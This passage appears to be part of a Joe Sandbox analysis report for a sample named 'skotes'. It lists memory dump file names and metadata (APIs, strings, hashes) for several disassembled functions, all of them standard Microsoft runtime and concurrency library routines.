Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: f9613eec5cd1a147246507692e2badcba5c12646f5bdbe961af5c4a0d59cc39f
Instruction ID: a149ac5e6f9d20cad3f45cfdc433081e3555f08b76e2d26a7e3a15ac5970e879
Opcode Fuzzy Hash: f9613eec5cd1a147246507692e2badcba5c12646f5bdbe961af5c4a0d59cc39f
Instruction Fuzzy Hash: C7C16871C08609EFCF25DF94C880AAEBBF9FF66311B14419AF8056B212D771DA51CB91

Function 00B97364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00B973B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00B973F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00B9740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00B97419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B97440

Strings

ppVirtualProcessorRoots, xrefs: 00B97438
count, xrefs: 00B9737E

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: be0a2f5b50a617ab1285d5f66065733f3db9ae15b7affd625c3aaac77b70c78f
Instruction ID: 6ae4208d044e5beb3939179582fd945faf8dceb08d4f10458970b24ab8d5e218
Opcode Fuzzy Hash: be0a2f5b50a617ab1285d5f66065733f3db9ae15b7affd625c3aaac77b70c78f
Instruction Fuzzy Hash: C2212C34A14209AFCF14EFA9C595AADBBF5EF19350F5440F9E905A7361CB30AE01CB94

Function 00B978E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B97903

Part of subcall function 00B95CB8: __EH_prolog3_catch.LIBCMT ref: 00B95CBF
Part of subcall function 00B95CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B95CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B9792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B97936

Part of subcall function 00B95CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00B95D70
Part of subcall function 00B95CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00B95D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00B97982
Concurrency::location::_Assign.LIBCMT ref: 00B979A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00B979AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B979BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00B979ED

Part of subcall function 00B9691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00B96942
Part of subcall function 00B9691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00B96965

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e33e680bf96d74a3eacda748967c00a7a38c83805b2c11244ba133516f164304
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 0831E130B98255AACF16AA7848927FEBBF5DF41300F1401F9D486E7242DE244D4AC7D1

Function 00BA4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BA4877
___except_validate_context_record.LIBVCRUNTIME ref: 00BA487F
_ValidateLocalCookies.LIBCMT ref: 00BA4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00BA4933
_ValidateLocalCookies.LIBCMT ref: 00BA4988

Strings

csm, xrefs: 00BA491D

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 65931cac25cefe2ac404cf0df515fa475e2bd43abc4ffabf0424a4dfefd6fd71
Instruction ID: 1a10da2446aa8a4072c813e91ff1ef4b9a452293217db3bfb1a7cb484053b93e
Opcode Fuzzy Hash: 65931cac25cefe2ac404cf0df515fa475e2bd43abc4ffabf0424a4dfefd6fd71
Instruction Fuzzy Hash: 3641E534A04248AFCF10DF68D884A9FBBF4EF86314F1481D5E8189B3A2D7B5DA15CB91

Function 00B9DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00B9DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00B9DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00B9DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00B9DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00B9DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00B9DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00B9DE74

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 75956cdfc2b92d7d9b4ee5e30f812ce329004dd13273a072e6d4953f6ff76ee5
Instruction ID: 38ce99477773babdc67ad529cd2cb80b1ac9c396e6934381fd7e6488e38e955d
Opcode Fuzzy Hash: 75956cdfc2b92d7d9b4ee5e30f812ce329004dd13273a072e6d4953f6ff76ee5
Instruction Fuzzy Hash: BE41A830A046449ADF19FFB58496BAC7BE1AF11304F1840F9E8516B2D3CB388E08CB62

